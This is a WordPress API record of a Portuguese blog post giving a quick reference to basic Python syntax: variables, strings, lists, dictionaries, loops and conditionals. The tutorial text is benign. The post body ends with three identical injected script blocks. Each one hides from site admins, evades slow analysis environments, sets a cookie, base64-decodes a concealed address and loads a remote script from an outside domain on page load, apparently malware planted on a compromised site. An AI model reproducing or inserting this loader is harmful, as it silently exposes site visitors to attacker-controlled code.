{"id":4068,"date":"2014-05-25T21:56:50","date_gmt":"2014-05-26T00:56:50","guid":{"rendered":"http:\/\/www.thiagovespa.com.br\/blog\/?p=4068"},"modified":"2025-10-26T22:32:15","modified_gmt":"2025-10-27T01:32:15","slug":"guia-de-referencia-python-parte-1","status":"publish","type":"post","link":"https:\/\/thiagovespa.com.br\/blog\/2014\/05\/25\/guia-de-referencia-python-parte-1\/","title":{"rendered":"Guia de refer\u00eancia Python - Parte 1"},"content":{"rendered":"<p>Para voc\u00ea que quer aprender rapidamente python ou j\u00e1 sabia, mas esqueceu, segue abaixo um guia de refer\u00eancia r\u00e1pida.<\/p>\n<h2>Executar um arquivo ou comando Python<\/h2>\n<ul>\n<li>Interativo (Shell Python): <em>python<\/em><\/li>\n<li>Linha de comando: <em>python &lt;nome_do_arquivo&gt;.py<\/em><\/li>\n<li>Shell Linux: Coloque: <em>#!\/usr\/bin\/python<\/em> no in\u00edcio do arquivo, transforme ele em execut\u00e1vel e execute-o.<\/li>\n<\/ul>\n<h2>Tipos de dados, atribui\u00e7\u00e3o e opera\u00e7\u00f5es<\/h2>\n<ul>\n<li>Atribui\u00e7\u00e3o: &lt;nome&gt; = valor<\/li>\n<li>Operadores: \"<b>+\"<\/b> (positivo, soma ou concatena\u00e7\u00e3o), \"<b>-\"<\/b> (negativo ou subtra\u00e7\u00e3o), \"<b>*\"<\/b> (multiplica\u00e7\u00e3o), \"<b>**<\/b>\" (pot\u00eancia), \"<b>\/\"<\/b> (divis\u00e3o), \"<b>%\"<\/b> (m\u00f3dulo - resto da divis\u00e3o), \"<b>&lt;\" (menor que)<b>, \"<\/b><\/b><b>&gt;\"<\/b> (maior que), \"<b>&lt;=<\/b>\" (menor ou igual a), \"<b>&gt;=\"<\/b> (maior ou igual a), \"<b>==\"<\/b> (igual a), \"<b>!=\"<\/b> (diferente), \"<b>&lt;&gt;\"<\/b> (diferente - obsoleto)<\/li>\n<li>Num\u00e9rico:\n<ul>\n<li>x = 10<\/li>\n<li>tau = 6.28<\/li>\n<\/ul>\n<\/li>\n<li>String (aspas simples e dupla):\n<ul>\n<li>nome = \"Thiago Galbiatti Vespa\"<\/li>\n<li>trava = 'Ninho de mafagafo'<\/li>\n<\/ul>\n<\/li>\n<li>Acesso \u00e0 partes da String: &lt;var_string&gt;[&lt;posicao&gt;]\n<ul>\n<li>nome[3]<\/li>\n<li>trava[0]<\/li>\n<\/ul>\n<\/li>\n<li>Concatena\u00e7\u00e3o: &lt;var_string&gt; + &lt;outra_var_string&gt;\n<ul>\n<li>nome + \" est\u00e1 em um \" + trava<\/li>\n<\/ul>\n<\/li>\n<li>Substring: &lt;var_string&gt;[&lt;inicio&gt;:&lt;fim&gt;]\n<ul>\n<li>nome[0:6]<\/li>\n<\/ul>\n<\/li>\n<li>Lista: &lt;var_lista&gt; = [&lt;valor1&gt;, &lt;valor2&gt;, &lt;valor3&gt;]\n<ul>\n<li>comidas = ['pizza', 'macarr\u00e3o', 'sushi', 'nachos']<\/li>\n<li>quantidade = [8, 200.5, 8, 10]<\/li>\n<li>pedido = [comidas, quantidade]<\/li>\n<li>valores = [4, 5, 6, [9, 8, 7]]<\/li>\n<\/ul>\n<\/li>\n<li>Concatenar Listas: &lt;lista1&gt; + &lt;lista2&gt;\n<ul>\n<li>comidas + ['tacaca', 'sashimi']<\/li>\n<\/ul>\n<\/li>\n<li>Tuplas (listas n\u00e3o din\u00e2micas): &lt;tupla&gt; = (&lt;valor1&gt;, &lt;valor2&gt;, &lt;valor3&gt;)\n<ul>\n<li>semana = ('domingo', 'segunda', 'ter\u00e7a', 'quarta', 'quinta', 'sexta', 's\u00e1bado')<\/li>\n<\/ul>\n<\/li>\n<li>Dicion\u00e1rios (array associativo, map): &lt;dicionario&gt; = { &lt;chave1&gt; : &lt;valor1&gt;, &lt;chave2&gt; : &lt;valor2&gt;, &lt;chave3&gt; : &lt;valor3&gt; }\n<ul>\n<li>idades = { \"Jo\u00e3o\" : 22, \"Maria\" : 45, \"Ningu\u00e9m\" : \"Idade n\u00e3o definida\" }<\/li>\n<\/ul>\n<\/li>\n<li>Acesso \u00e0 dados definido nos dicion\u00e1rios: &lt;dicionario&gt;[&lt;chave&gt;]\n<ul>\n<li>idades[\"Maria\"]<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<h2>Impress\u00e3o de dados<\/h2>\n<ul>\n<li>print &lt;variavel&gt;\n<ul>\n<li>print \"algo\"<\/li>\n<li>print variavel<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<h2>Fluxo<\/h2>\n<ul>\n<li>Importante: Utilizar &lt;tab&gt; ou &lt;espa\u00e7o&gt; para identa\u00e7\u00e3o e delimitador de bloco (como por exemplo, em outras linguagens: begin ... end, { ... }. No pythons \u00e9 utilizada a identa\u00e7\u00e3o}. Se n\u00e3o tiver identa\u00e7\u00e3o, voc\u00ea obter\u00e1 o seguinte erro: IndentationError: expected an indented block. A conven\u00e7\u00e3o \u00e9 utilizar 4 &lt;espa\u00e7os&gt;, mas eu uso &lt;tab&gt; :).<\/li>\n<li style=\"text-align: left;\">Loop while: while &lt;condicao&gt;:\n<ul>\n<li style=\"text-align: left;\">i = 0<br \/>\nwhile i &lt; 10:<br \/>\n&lt;tab&gt;print \"Estou imprimindo 10 vezes\"<br \/>\n&lt;tab&gt;i = i + 1<\/li>\n<\/ul>\n<\/li>\n<li style=\"text-align: left;\">Condicional if (o else e o elif s\u00e3o opcionais): if &lt;condi\u00e7\u00e3o1&gt;: &lt;comandos&gt; elif &lt;condicao2&gt;: &lt;comandos&gt; else: &lt;comandos&gt;\n<ul>\n<li style=\"text-align: left;\">if idade &gt; 18:<br \/>\n&lt;tab&gt;print \"Maior de idade\"<br \/>\nelif idade &gt; 0:<br \/>\n&lt;tab&gt;print \"Menor de idade\"<br \/>\nelse:<br \/>\n&lt;tab&gt;print \"Idade invalida\"<\/li>\n<\/ul>\n<\/li>\n<li style=\"text-align: left;\">Loop for: for &lt;contador&gt; in &lt;lista&gt;: &lt;comandos&gt;\n<ul>\n<li style=\"text-align: left;\">for comida in comidas:<br \/>\n&lt;tab&gt;print comida<\/li>\n<li style=\"text-align: left;\">for nome in idades:<br \/>\n&lt;tab&gt;print nome<br \/>\n&lt;tab&gt;print idades[nome]<\/li>\n<\/ul>\n<\/li>\n<li style=\"text-align: left;\">Fun\u00e7\u00e3o range para gerar uma sequ\u00eancia de n\u00fameros: range(&lt;inicio&gt;, &lt;fim&gt;) ou range(&lt;inicio&gt;, &lt;fim&gt;, &lt;incremento&gt;)\n<ul>\n<li style=\"text-align: left;\">for par in range(0, 10, 2):<br \/>\n&lt;tab&gt;print par<\/li>\n<li style=\"text-align: left;\">valor = range(0, 20)<br \/>\nfor v in valor:<br \/>\n&lt;tab&gt;print v<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<p>Continua... \ud83d\ude42<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Para voc\u00ea que quer aprender rapidamente python ou j\u00e1 sabia, mas esqueceu, segue abaixo um guia de refer\u00eancia r\u00e1pida. Executar um arquivo ou comando Python Interativo (Shell Python): python Linha de comando: python &lt;nome_do_arquivo&gt;.py Shell Linux: Coloque: #!\/usr\/bin\/python no in\u00edcio <a class=\"more-link\" href=\"https:\/\/thiagovespa.com.br\/blog\/2014\/05\/25\/guia-de-referencia-python-parte-1\/\">Continue lendo  <span class=\"screen-reader-text\">  Guia de refer\u00eancia Python - Parte 1<\/span><span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"footnotes":""},"categories":[7],"tags":[],"class_list":["post-4068","post","type-post","status-publish","format-standard","hentry","category-python"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/4068","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/comments?post=4068"}],"version-history":[{"count":0,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/4068\/revisions"}],"wp:attachment":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/media?parent=4068"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/categories?post=4068"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/tags?post=4068"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}